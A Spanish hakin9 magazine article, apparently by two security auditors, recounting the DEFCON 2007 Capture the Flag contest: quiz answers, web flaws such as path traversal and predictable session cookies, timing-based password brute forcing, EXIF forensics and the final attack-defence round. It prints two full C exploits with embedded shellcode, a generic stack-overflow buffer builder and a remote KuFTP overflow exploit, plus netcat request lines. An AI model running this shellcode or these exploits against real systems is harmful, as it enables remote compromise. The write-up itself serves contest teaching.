www.hakin9.org68

Para principiantes

Algunos se ponen el casco. Luego visten su uniforme militar, su chaleco y sus botas. Algo que les permita esconderse

bien entre los árboles y la vegetación. Otros se dedican a limpiar la bolita del ratón y a ajustar bien su sensibilidad. Quitan las sombras y sua-vizan los polígonos para poder localizar mejor al enemigo. Los hay incluso que lo que hacen es cargar una imagen en lo que se suele llamar un emulador. Una imagen llena de agujeros. Y luego se enchufan a la jungla.

Esos son los preparativos. Eso es lo que hacen antes. Los que hacen luego los primeros es agarrar sus pistolas de cartón piedra que disparan bolas de plástico o pintura. Agarran también dos, tres o cinco pañuelos que dejaran olvidados en algún tipo de terreno montañoso. La zona de batalla. No es complicado, lo que hay que hacer es robar pañuelos. Y defender el tuyo. Los segundos, los que limpiaban la bola del ra-tón, agarran también sus pistolas. Pero estas no son físicas. Son digitales. Están compuestas de bits. Y no disparan bolas reales. Y los pañuelos no son pañuelos, son un puñado de pixeles en la pantalla. Igual que las montañas no son mon-tañas, ni las armaduras. Tampoco los maletines que te curan al instante son maletines de verdad.

Nada es real, salvo la emoción. Y fi nalmente están los terceros. Esos que cargan una imagen y que algunos llaman expertos en seguridad. O analistas de seguridad. Otros los llaman infor-máticos. Pero los hay, incluso, que emplean el termino hackers. Aquí no hay pistolas, solo hay fallos de seguridad. Los fallos de seguridad, esos son sus pañuelos descuidados.

Y todos – los primeros, los segundos, y los terceros – están jugando al mismo juego. Jue-gan a capturar la bandera. Juegan al CTF, al Capture The Flag. A fi nales de Julio Las Vegas se convierte en la capital mundial de la seguri-dad informática gracias a la celebración de dos de los congresos de seguridad más prestigio-sos; la BlackHat y la DEFCON. Aquí uno puede

DEFCON

Internet Security Auditors

Grado de difi cultad

Defcon, además del acrónimo de DEFense CONdition, es un congreso de seguridad informática que reúne a los mejores expertos en seguridad informática del mundo en medio del desierto de Nevada.

En este artículo aprenderás• Procedimiento del concurso Defcon• Tipo de pruebas sucedidas

Lo que deberías saber• Conocimiento basico sobre las pruebas decritas

en el articulo

Defcon

www.hakin9.org 69

ir al casino, y luego puede ir a una de las charlas sobre los temas más variados, o bien puede participar en alguno de los distintos concursos que se celebran (hacking, lockpicking…), o simplemente charlar con un mon-tón de gente con unas mismas moti-vaciones. El concurso de seguridad llamado CTF se celebró en Royale Pavillon 3-4 del Hotel Riviera, – Hotel que albergó la DEFCON – donde se podrían encontrar ocho mesas de distintos colores pertenecientes a los ocho equipos que lograron clasifi car-se en la fase previa.

Fase previaLa fase previa la formaron 25 prue-bas distintas distribuidas en 5 cate-gorías (Reversing, Forensics, Web Hacking, Pwnables y Quiz) y se disponía de 48 horas pera resolver

las máximas posibles y lograr quedar entre los siete primeros, que junto al equipo ganador de la pasada edición del CTF participarían en la fase fi nal. Cada vez que se resolvía una de las pruebas se obtenía una palabra o contraseña que debía introducirse en un panel destinado a ello en el que podía seguirse, además, la puntuación de los distintos equipos. (Figura 5). Finalmente, de los más de 250 participantes, los 8 equipos que tras un fi nal muy reñido lograron la clasifi cación para la fase fi nal son los siguientes: (Tabla 1).

QuizLas pruebas Quiz consistían en una serie de preguntas relacionadas con el mundo de la seguridad informáti-ca. Debido a la existencia de Google y la posibilidad de buscar las solu-

ciones en él fueron la primera serie de pruebas en ser completada por algún equipo.

• Prueba 1 (100 puntos): ___ the planet.

Se trata de una frase muy conocida entre los afi cionados a la seguridad informática que se dio a conocer en la película Hackers. La frase es; Hack the planet.

• Prueba 2 (200 puntos): ¿Qué OS uso Kenshoto para el CTF del 2006?

Kenshoto es el grupo que organiza el concurso CTF de la DEFCON. Basta con leer algunas de las crónicas col-gadas en Internet sobre el concurso del año pasado para comprobar que el sistema operativo usado durante la edición pasada fue Solaris.

• Prueba 3 (300 puntos): ¿Quien fundo la e-zine TAP?

Haciendo uso del buscado Google podemos obtener la respuesta; Ab-bie Hoffman.

• Prueba 4 (400 puntos):¿Cual es el comando usado en OSX para añadir un usuario?

La respuesta se encuentra en la do-cumentación de OSX, el comando para añadir nuevos usuarios es niutil.

Tabla 1. La clasifi cación para la fase fi nal

Loller skaterz dropping from rolf copters! 6600 Abandonan

Sk3wl Of r00t 6500 Clasifi cados para la DEFCON

Songs of Freedom 6100 Clasifi cados para la DEFCON

Mightty Morf’n Power Haxor 6000 Abandonan

FEDNAUGHTy 5900 Clasifi cados para la DEFCON

[0x28]Thieves 5900 Clasifi cados para la DEFCON

Routards 5800 Clasifi cados para la DEFCON

Osu, Tatakae, Sexy Pandas! 5800 Clasifi cados para la DEFCON

Our wives are pissed 5400 Clasifi cados para la DEFCON

ShellPhish 5400 Primera alternativa

Figura 1. Las pruebas del CTF

www.hakin9.org

Para principiantes

70

• Prueba 5 (500 puntos): Implemen-ta el siguiente código en C en una sola instrucción en ensamblador (la respuesta debe estar com-puesta por los bytecodes; \x11\

x22\x33).

for (ecx = 0; ecx < 32; ecx++) {

if ((1 << ecx) & eax) {

ebx = ecx;

}

}

Revisando el código presentado nos damos cuenta de que tras la ejecu-ción de las 32 iteraciones ebx con-tiene el offset del mayor bit con valor 1. En x86 existe una instrucción que realiza exactamente eso; BSR (Bit Search Reverse).

Codifi cando bsr %eax,%ebx ob-tenemos el bytecode \x0F\xBD\xD8.

Hacking webEl juego constaba con numerosas aplicaciones web vulnerables que reflejaban los fallos de seguridad más comunes que pueden encon-trarse en este tipo de aplicacio-nes.

• Prueba 1 (100 puntos): Leer el código fuente

Nos encontramos ante una página web con pocas funcionalidades diná-micas y que aparentemente parece difícil que aparezcan problemas de seguridad, sin embargo en esta oca-sión bastó con leer el código fuente de la página web para ver el siguien-te trozo de código descuidado.

<!-- <?php if ($is_admin)

{ include ('admin_panel.html');

} ?> OBSOLTED – focus/5

/22/2007-->

El descuido del programador nos alerta de la existencia del recurso web admin _ panel.html, y conocien-do su existencia podemos acceder a él asumiendo el rol de adminis-trador.

• Prueba 2 (200 puntos): Path tra-versal

Listado 1. Procesamiento para verifi car la contrasena

Please submit login passwd:

foobar

----------- Failed!! Authorities have been alerted. ----------

Processing time: 0.000024

Connection closed by foreign host.

Listado 2. Stack overfl ow

text:00001C97 mov [esp+128h+var_120], 800h

text:00001CA5 mov [esp+128h+var_124], eax

text:00001CA9 mov eax, [ebp+arg_0]

text:00001CAC mov [esp+128h+var_128], eax

text:00001CAF call _read

text:00001CB4 lea eax, (_buf – 1C74h)[ebx]

text:00001CBA mov [esp+128h+var_120], eax

text:00001CBE lea eax, (aSteveJobsLoves – 1C74h)[ebx]

text:00001CC4 mov [esp+128h+var_124], eax

text:00001CC8 lea eax, [ebp+var_108]

text:00001CCE mov [esp+128h+var_128], eax

text:00001CD1 call _sprintf

Listado 3. El exploit genérico

#include <stdio.h>

#include <strings.h>

char *shellcode = "\x68\x50\x18\x0c\xd8\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50"

"\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62"

"\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53"

"\x50\xb0\x3b\xcd\x80";

char nop = 0x90;int main(int argc, char **argv) {

int len; int shellcodelen; unsigned long jumpaddress; char *evilbuf; int i; unsigned long *ret;

if (argc < 3) { printf("%s <º> <jumpaddress>\n", argv[0]); exit(0);

}

len = atoi(argv[1]);

jumpaddress = strtol(argv[2], NULL, 16);

shellcodelen = strlen(shellcode);

if ((evilbuf = malloc(len+1)) == NULL) { printf("Cannot allocate\n"); exit(0);

}

memset(evilbuf, nop, len);

memcpy(&evilbuf[len-shellcodelen-4-100], shellcode, shellcodelen);

ret = (unsigned long *)&evilbuf[len-4]; *ret = jumpaddress;

evilbuf[len] = 0;

printf("%s\n", evilbuf);

}

Defcon

www.hakin9.org 71

La aplicación web dispone de un sis-tema destinado a mostrar un mensaje sobre las imágenes de la aplicación web. Las imágenes se presentan a través de un recurso que recibe un identifi cador numérico que hace re-ferencia al mensaje. (FIgura3). http://quals07.allyourboxarebelongto.us:8091/domopers/images/?img=domo0&copywrite=2007

Modifi cando el parámetro nu-mérico obtenemos el mensaje si-guiente:

messages/foobar Not found

El error parece indicar que no se ha podido acceder al fi chero messages/foobar por lo que comprobamos que la variable introducida en el paráme-tro copywrite se usa como ruta de un fi chero. Esto nos permite acceder a fi cheros a los que no deberíamos tener acceso, por ejemplo ../index.py en el que encontramos el código para completar la prueba.

• Prueba 3 (300 puntos): Secues-tro de sesión

Se presenta un sistema de login, pero no se facilita ningún usuario, sin embargo un pequeño ataque de fuerza bruta nos permite hacer login con usuario guest y contraseña guest Nos encontramos entonces con un código en javascript que ini-cializa un cookie;

• id = moo('1180783554.82');

• document.cookie="sessionid="+id

;

La función moo() recibe como pará-metro un timestamp y realiza el cal-culo de un hash MD5 que será usado como identifi cador de sesiones http. La cookie de sesión depende única y directamente del momento en el que el usuario hace login, por lo que es posible secuestrar la sesión de un usuario si conoces el momento en el que se autenticó en la aplicación, y ese dato nos lo da la funcionalidad Lastlogin de la aplicación web.

Conociendo el momento en el que el usuario Sysop accedió a la

aplicación bastará con obtener el hash MD5 del timestamp y añadir la cookie en el navegador. Sin em-bargo en este caso desconocemos el tiempo exacto, ya que descono-cemos los segundos, por lo que es

necesario realizar un ataque de fuerza bruta sobre el rango tempo-ral posible. La fuerza bruta revela que el Sysop realizó el acceso a las 20:35:22 y el hash correspondiente es 1178670922, por lo que para

Listado 4. Usando el comando exifprobe

<GPS IFD> (in IFD 0) 5 entries starting at fi le offset 0x2b4=692

<000000= 0> VersionID [1 =BYTE 4] = 2,2,0,0

<0x0001= 1> LatitudeRef [2 =ASCII 2] = 'N'

<0x0002= 2> Latitude [5 =RATIONAL 3] = @0x2f4=756

<0x0003= 3> LongitudeRef [2 =ASCII 2] = 'W\000'

<0x0004= 4> Longitude [5 =RATIONAL 3] = @0x30c=780

**** next IFD offset 0

============= VALUES, GPS IFD ============

Latitude = 42,40,16.212

Longitude = 72,33,1.548

</GPS IFD>

Listado 5. La función strncpy

.text:08048FB1 list: ; CODE XREF: sub_

8048F78+32#j

.text:08048FB1 ; sub_8048F78+C9#j

.text:08048FB1 sub esp, 0Ch

.text:08048FB4 push [ebp+var_100C] ; DIR *

.text:08048FBA call _readdir

.text:08048FBF add esp, 10h

.text:08048FC2 mov [ebp+var_1010], eax

.text:08048FC8 cmp [ebp+var_1010], 0

.text:08048FCF jz short loc_8049046

.text:08048FD1 sub esp, 4

.text:08048FD4 mov eax, [ebp+var_1010]

.text:08048FDA add eax, 8

.text:08048FDD sub esp, 8

.text:08048FE0 push eax ; char *

.text:08048FE1 call _strlen

.text:08048FE6 add esp, 0Ch

.text:08048FE9 push eax ; size_t

.text:08048FEA mov eax, [ebp+var_1010]

.text:08048FF0 add eax, 8

.text:08048FF3 push eax ; char *

.text:08048FF4 push [ebp+var_1014] ; char *

.text:08048FFA call _strncpy

.text:08048FFF add esp, 10h

.text:08049002 mov eax, [ebp+var_1010]

.text:08049008 add eax, 8

.text:0804900B sub esp, 0Ch

.text:0804900E push eax ; char *

.text:0804900F call _strlen

.text:08049014 add esp, 10h

.text:08049017 mov edx, eax

.text:08049019 lea eax, [ebp+var_1014]

.text:0804901F add [eax], edx

.text:08049021 sub esp, 4

.text:08049024 push 1 ; size_t

.text:08049026 push offset asc_8049A02 ; "\n"

.text:0804902B push [ebp+var_1014] ; char *

.text:08049031 call _strncpy

.text:08049036 add esp, 10h

.text:08049039 lea eax, [ebp+var_1014]

.text:0804903F inc dword ptr [eax]

.text:08049041 jmp list

www.hakin9.org

Para principiantes

72

Listado 6. El nombre del último fi chero

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#defi ne MAX_BUF 8192

#defi ne MAX_PATH 216

#defi ne NOP 0x90

char shellcode[] ="\x31\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\

x13\xec"

"\x4f\x26\x86\x83\xeb\xfc\xe2\xf4\x86\x2e\x7e\x1f\xbe\x0d\

x74\xc4"

"\xbe\x27\x2c\x86\xeb\x48\xeb\x06\x84\x5f\x24\xa5\xf1\xc6\

xc7\xec"

"\xfc\x1e\x76\xd7\x7b\x25\x44\xde\x21\xcf\x4c\x84\xb5\xff\

x7c\xd7"

"\xbb\x1e\xeb\x06\xa5\x36\xd0\xd6\x84\x60\x09\xf5\x84\x27\

x09\xe4"

"\x85\x21\xaf\x65\xbc\x1b\x75\xd5\x5c\x74\xeb\x06";

char *kftp_send(unsigned long ip, char *cmd, int readf) { int sfd; struct sockaddr_in addr; char *buff;

buff = (char *)malloc(MAX_BUF);

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = ip;

addr.sin_port = htons(2121);

sfd = socket(AF_INET, SOCK_STREAM, 6);

if (connect(sfd, (struct sockaddr *)&addr, sizeof(addr)) == -1) {

printf("Connection error\n");

exit(0);

}

write(sfd, cmd, strlen(cmd));

if (readf) { bzero(buff, MAX_BUF);

sleep(1);

read(sfd, buff, MAX_BUF);

}

return buff;}

char **kftp_list(unsigned int ip) { char cmd[MAX_BUF]; char *buff; char **fi les; char *p; int i; int count;

printf("*** List fi les\n");

bzero(cmd, MAX_BUF);

snprintf(cmd, MAX_BUF-1, "\x01");

buff = kftp_send(ip, cmd, 1);

count = 0;

for (i = 0 ; i < strlen(buff) ; i++) { if (buff[i] == 0x0a) count++; }

fi les = (char **)malloc(sizeof(char *)*(count+1));

p = buff;

for (i = 0 ; i < count ; i++) { fi les[i] = p;

p = strstr(p, "\x0a");

*p = 0x00;

p++;

}

fi les[i] = NULL;

return(fi les);}

void kftp_upload(unsigned int ip, char *fi lename, char *content) {

char cmd[MAX_BUF];

printf("*** Upload fi le '%s' – %x\n", fi lename, ip);

bzero(cmd, MAX_BUF);

snprintf(cmd, MAX_BUF-1, "\x02%s\n%s", fi lename,

content);

kftp_send(ip, cmd, 0);

}

char *kftp_donwload(unsigned int ip, char *fi lename) { char cmd[MAX_BUF];

bzero(cmd, MAX_BUF);

snprintf(cmd, MAX_BUF-1, "\x03%s", fi lename);

kftp_send(ip, cmd, 0);

}

void kftp_delete(unsigned int ip, char *fi lename) { char cmd[MAX_BUF];

printf("Delete fi le '%s'\n", fi lename);

bzero(cmd, MAX_BUF);

snprintf(cmd, MAX_BUF-1, "\x04%s", fi lename);

kftp_send(ip, cmd, 0);

}

int main(int argc, char **argv) { unsigned long ip; int i; char **fi les; char fi lename[MAX_PATH+1]; char ch = 'A'; int shellcodelen; unsigned long jumpaddress;

Defcon

www.hakin9.org 73

conseguir el acceso bastará con realizar el cálculo del hash MD5.

main ~ # printf 1178670922 | md5sum

f0e257dc3c3d8750afd37aa1e34cf6c0 -

• Prueba 4 (400 puntos): SQL In-jection

• Prueba 5 (500 puntos): Substitu-ción de base de datos.

PwnablesLa categoría pwnables contiene servicios que tienen alguna vulne-rabilidad que puede ser explotada remotamente.

• Prueba 1 (100 puntos): Fuerza bruta

Esta prueba requiere realizar un ataque de fuerza bruta a un servicio que corre en un puerto TCP. Tras la conexión a dicho puerto se nos pide una contraseña y tras introducirla la aplicación muestra el tiempo de procesamiento para verifi car la con-traseña. ( Listado 1).

Sin embargo tras realizar unas pequeñas pruebas nos damos cuen-ta de no se nos muestra el tiempo de procesamiento cuando la contraseña introducida empieza por la letra o.

Please submit login passwd:

ofoobar

Connection closed by foreign host.

Esto nos hace suponer que el sis-tema de verifi cación de la contra-seña es defi ciente y se comporta de distinto modo cuando se acierta parte de la contraseña. Gracias a ello sabemos que la contraseña em-pieza por o. Si repetimos el proceso varias veces, realizando un ataque de fuerza bruta carácter a carácter obtenemos la contraseña ooh baby, brute me harder.

• Prueba 2 (200 puntos): Stack overfl ow

El servicio que se debe explotar en esta prueba consiste en un sistema parecido al echo, retorna todo lo que recibe añadiendo la frase Steve jobs

Listado 6. El nombre del último fi chero (continuando)

int padding; int numfi les; unsigned long *ptr;

if (argc < 4) { printf("%s <ip> <jumpaddress> <padding> <numfi les>\n", argv[0]);

exit(0);

}

ip = inet_addr(argv[1]);

jumpaddress = strtoul(argv[2], NULL, 16);

padding = atoi(argv[3]);

numfi les = atoi(argv[4]);

fi les = kftp_list(ip);

for (i=0 ; fi les[i] ; i++) { kftp_delete(ip, fi les[i]);

}

memset(fi lename, NOP, MAX_PATH);

for (i=0 ; i < numfi les ; i++) { shellcodelen = strlen(shellcode);

printf("LEN: %i – %c\n", shellcodelen, ch);

memcpy(&fi lename[MAX_PATH-shellcodelen], shellcode, shellcodelen);

ch++;

fi lename[MAX_PATH] = 0;

fi lename[0] = '.';

fi lename[1] = ch;

kftp_upload(ip, fi lename, "foo");

}

memset(fi lename, 'y', MAX_PATH);

for (padding ; padding < (MAX_PATH-5) ; padding+=4) { ptr=(unsigned long *)&fi lename[padding]; *ptr = jumpaddress;

}

fi lename[MAX_PATH] = 0;

printf("Exploit!\n");

kftp_list(ip);

}

Figura 2. Diagrama de resultados de la fase previa

www.hakin9.org

Para principiantes

74

loves you too. Analizando el binario podemos ver que se realiza una llamada a sprintf sin verifi car correc-tamente el tamaño de los buffers, lo que produce un clásico stack over-fl ow. (Listado 2).

Se puede usar entonces un exploit genérico que recibe como parámetros el tamaño del buffer a introducir y la dirección de retorno a la que queremos saltar. (Listado 3).

Existen dos puntos a los que ha-cer saltar la aplicación para que se encuentre con nuestra shellcode; el buffer usado por read() para almace-nar los datos leídos y el buffer cons-truido por sprintf(). El primero de ellos se encuentra en la dirección de memoria 0x00001C74, mientras que el segundo se encuentra en la pila. Al tratar de saltar al buffer de la pila el exploit no funciona, nos damos cuenta entonces de que el sistema usa algún tipo de protección que no permite la ejecución de código en la pila, por lo que debemos optar por el uso del otro buffer. El problema con el que nos encontramos ahora es que la dirección de memoria tiene caracteres nulos que no serán copia-dos al hacer el sprintf, sin embargo, si nos fi jamos en la llamada que se

realiza a la función vulnerable pode-mos ver que esta se llama desde una posición de memoria que ya contie-ne esos ceros.

text:00001E1D

call handleConnection

Esto nos permite dejar en la pila la dirección de memoria necesaria sobre-escribiendo únicamente 2 bytes de la dirección almacenada en la pila.

ForensicsLa categoría forensic está formada por pruebas de análisis forense:

• Prueba 1 (100 puntos): Datos EXIF

En esta prueba se nos proporcio-na una imagen y nos piden que averigüemos donde fue tomada la fotografía. Usando el identifi cador de fi cheros ‘fi le’ nos damos cuenta de que se trata de una imagen JPG que contiene una cabecera EXIF 2.2.

EXIF (Exchangeable image fi le format) es una especifi cación para formatos de archivos de imagen usa-do por las cámaras digitales que

almacena datos como el modelo y fabricante de la cámara, la versión del software, el momento en el que se to-mó la foto e incluso la latitud y longitud del lugar en el que se tomó la foto.

Usando el comando exifprobe so-bre la imagen obtenemos los siguien-tes datos. (Listado 4). Para obtener el nombre del lugar nos basta con hacer uso de Google Maps.

Fase fi nalLos siete mejores equipos de la fase previa y el equipo ganador del año pasado se reúnen para competir en la misma sala durante el transcurso de la DEFCON. La fase fi nal fun-ciona de forma diferente a la fase previa, pues aquí los equipos se ata-can los unos a los otros y no a otro sistema ajeno a ellos. Para ello la or-ganización proporciona a cada uno de los equipos un sistema instalado con servicios vulnerables corriendo en él. La máquina virtual de este año usaba como sistema operativo una FreeBSD 6.2 modifi cada por la gente de Kenshoto, los organizadores del concurso.

Se establecen varias reglas que regirán la puntuación de cada uno de los equipos; existen tres formas distintas de obtener puntos y existen dos cosas que pueden hacernos res-tar puntuación.

De cada una de las vulnerabilida-des existentes en el juego el primer equipo en lograr explotarla se lleva el 100% de los puntos, el segundo se lleva el 50% y el tercero únicamente el 25%. Los puntos obtenidos al ser uno de los tres primeros en explotar una

En la red• http://sexy.pandas.es/stuff/hfd.

en.html

Enlaces relacionados

• http://www.kenshoto.com• http://www.defcon.org• http://www.pandas.es• http://www.7a69ezine.org• http://www.nopcode.org• http://www.reversing.org• http://www.48bits.org

Figura 3. Ejemplo de imágene de la aplicación web

Defcon

www.hakin9.org 75

vulnerabilidad se llaman breakthru Cada uno de los servicios puntúa según su nivel de difi cultad.

Una vez lograda explotar una vul-nerabilidad es posible obtener puntos Steal mediante el robo del token (lla-ve asociada al sistema que cambia periódicamente) que suele estar contenida en un fi chero del sistema vulnerado. Aquí entra en escena la habilidad de cada equipo de automa-tizar el procedimiento de explotación y robo del token.

Finalmente existen también los puntos overwrite que se obtienen al sobre-escribir el token de un sistema vulnerado por otro token. También es necesaria la automati-zación de este proceso para lograr más puntos que nadie. Así mismo, existen también dos motivos por los que un equipo puede perder puntos. El primero de ello es la perdida de SLA Service Level Agreement, que evalúa el porcentaje de tiempo en que está activo cada uno de los ser-vicios. De esta manera se obliga a los equipos a mantener los servicios activos si no quieren ver descender su puntuación. Otro motivo que puede hacer perder puntos es la penalización por incumplimiento de alguna de las normas del juego,

como por ejemplo la prohibición de realizar ataques de de denegación de servicio.

Servicios vulnerablesKuFTP es un servicio destinado a la transferencia de fi cheros, a pesar de que el nombre del servicio contiene las siglas FTP no se trata de un ser-vicio que cumpla el protocolo FTP. El servidor FTP permite 4 operaciones; subir fi cheros, descargar fi cheros, borrar fi cheros y listar fi cheros. En cada una de las peticiones a realizar se usará el primer de los bytes para especifi car la acción que se desea realizar, de manera que 0x01 lista los fi cheros, 0x02 sube un fi chero, 0x03 descarga un fi chero y 0x04 elimina un fi chero. Las peticiones pueden realizarse de la siguiente manera:

echo -en “\x01” | nc ip puerto

echo -en “\0x02fi chero\ncontenido” | nc

ip puerto

echo -en “\0x03fi chero” | nc ip puerto

echo -en “\0x04fi chero” | nc ip puerto

El problema en este servicio se localiza en la función de listado de fi cheros, ya que al construir el buffer de salida que contiene los fi cheros listados no se realizan las validacio-nes necesarias, de manera que si el servidor contiene muchos fi cheros de tamaño largo dicho buffer puede sobrepasarse. A pesar de que se usa la función strncpy que verifi ca el tamaño de los datos a copiar se

realiza una concatenación de datos mediante múltiples llamadas a dicha función sin comprobarse que el bu-ffer es sobrepasado. (Listado 5).

El exploit debe crear una cantidad de fi cheros sufi ciente para desbordar el buffer y luego realizar una petición de listado. El nombre de cada uno de los fi cheros, excepto el último, creados contiene un listado de instrucciones nulas (NOP) y la shellcode, excepto el primero de os caracteres que marcará el orden de los fi cheros al ser listados. El nombre del último fi chero creado será el que sobrescriba la dirección de retorno de la función, por lo que este fi chero contiene la dirección de retorno a la que queremos saltar repe-tida una y otra vez. (Listado 6).

Postfi x es servicio vulnerable no llegó a puntuar por falta de 5 minutos al concluir el evento ya que consegui-mos explotarlo en el último segundo. Más tarde una vez realizada la charla de los organizadores y los capitanes con tal de buscar mejoras al concurso nos enteramos que la vulnerabilidad del Postfi x llevaba más de 3 años sin romperse. Bastante entendible al ser la vulnerabilidad de la cual se des-prendían más archivos vinculados, binarios, librerías, fi cheros d confi -guración, etc ... aquí es donde una visión forense ayudo a esclarecer el asunto y poder focalizar la búsqueda del fallo en un único punto. Fue muy sencillo realizar un ls y verifi car las fe-chas de modifi cación, salto a la vista aquella que apenas era del mes de Junio y afectaba al binario principal smtpd. Gracias al software Radare logramos hacer una comparación del binario y localizar una sospechosa función ehlo diferente al binario ori-ginal que pudimos conseguir de otra FreeBSD. Ahí basto con probar un simple desbordamiento al realizar la conexión contra el 25 llamando a HELO 168x A. Realizar el exploit del b0f con su shellcode correspon-diente llevo unos minutos de los que no fueron sufi cientes para realizar el ataque contra el resto de los equipos. El exploit utilizado para explotar este servicio es muy similar al usado en el buffer overfl ow de la fase previa expli-cado anteriormente. l

Sobre los autoresDos integrantes de Internet Security Auditors participantes en el evento.

Figura 5. La mapa de Google

Figura 4. Identifi cador de sesiones http